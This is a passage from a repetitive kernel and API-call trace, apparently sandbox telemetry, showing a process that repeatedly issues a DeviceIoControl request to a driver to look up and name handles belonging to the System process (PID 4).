lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0135.053] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.053] PsAcquireProcessExitSynchronization () returned 0x0 [0135.053] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.053] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0135.053] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.053] PsReleaseProcessExitSynchronization () returned 0x2 [0135.053] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.053] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.053] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0135.053] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.053] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.053] PsAcquireProcessExitSynchronization () returned 0x0 [0135.053] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.054] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0135.054] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.054] PsReleaseProcessExitSynchronization () returned 0x2 [0135.054] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.054] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.054] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0135.054] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.054] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.054] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.054] PsAcquireProcessExitSynchronization () returned 0x0 [0135.054] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.054] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0135.054] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.054] PsReleaseProcessExitSynchronization () returned 0x2 [0135.054] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.054] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.054] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0135.054] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.054] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0135.054] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.054] PsAcquireProcessExitSynchronization () returned 0x0 [0135.054] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.054] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0135.054] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.054] PsReleaseProcessExitSynchronization () returned 0x2 [0135.054] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.054] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.054] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0135.054] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0135.055] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.055] PsAcquireProcessExitSynchronization () returned 0x0 [0135.055] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.055] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0135.055] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.055] PsReleaseProcessExitSynchronization () returned 0x2 [0135.055] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.055] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.055] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0135.055] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0135.055] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.055] PsAcquireProcessExitSynchronization () returned 0x0 [0135.055] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.055] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0135.055] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.055] PsReleaseProcessExitSynchronization () returned 0x2 [0135.055] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.055] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.055] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0135.055] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0135.056] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.056] PsAcquireProcessExitSynchronization () returned 0x0 [0135.056] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.056] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0135.056] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.056] PsReleaseProcessExitSynchronization () returned 0x2 [0135.056] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.056] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.056] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0135.056] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.056] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0135.056] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.056] PsAcquireProcessExitSynchronization () returned 0x0 [0135.056] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.056] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0135.056] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.056] PsReleaseProcessExitSynchronization () returned 0x2 [0135.056] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.056] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.056] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0135.056] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.056] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0135.056] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.056] PsAcquireProcessExitSynchronization () returned 0x0 [0135.057] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.057] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0135.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.057] PsReleaseProcessExitSynchronization () returned 0x2 [0135.057] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.057] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.057] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0135.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0135.057] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.057] PsAcquireProcessExitSynchronization () returned 0x0 [0135.057] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.057] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0135.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.057] PsReleaseProcessExitSynchronization () returned 0x2 [0135.057] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.057] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.057] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0135.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.057] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.057] PsAcquireProcessExitSynchronization () returned 0x0 [0135.057] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.057] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0135.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.057] PsReleaseProcessExitSynchronization () returned 0x2 [0135.058] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.058] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.058] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0135.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.058] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.058] PsAcquireProcessExitSynchronization () returned 0x0 [0135.058] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.058] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0135.058] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.058] PsReleaseProcessExitSynchronization () returned 0x2 [0135.058] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.058] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.058] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0135.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0135.058] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.058] PsAcquireProcessExitSynchronization () returned 0x0 [0135.058] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.058] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0135.058] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.058] PsReleaseProcessExitSynchronization () returned 0x2 [0135.058] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.058] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.058] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0135.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0135.059] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.059] PsAcquireProcessExitSynchronization () returned 0x0 [0135.059] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.059] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0135.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.059] PsReleaseProcessExitSynchronization () returned 0x2 [0135.059] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.059] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.059] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0135.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0135.059] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.059] PsAcquireProcessExitSynchronization () returned 0x0 [0135.059] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.059] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0135.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.059] PsReleaseProcessExitSynchronization () returned 0x2 [0135.059] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.059] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.059] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0135.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0135.059] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.059] PsAcquireProcessExitSynchronization () returned 0x0 [0135.059] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, 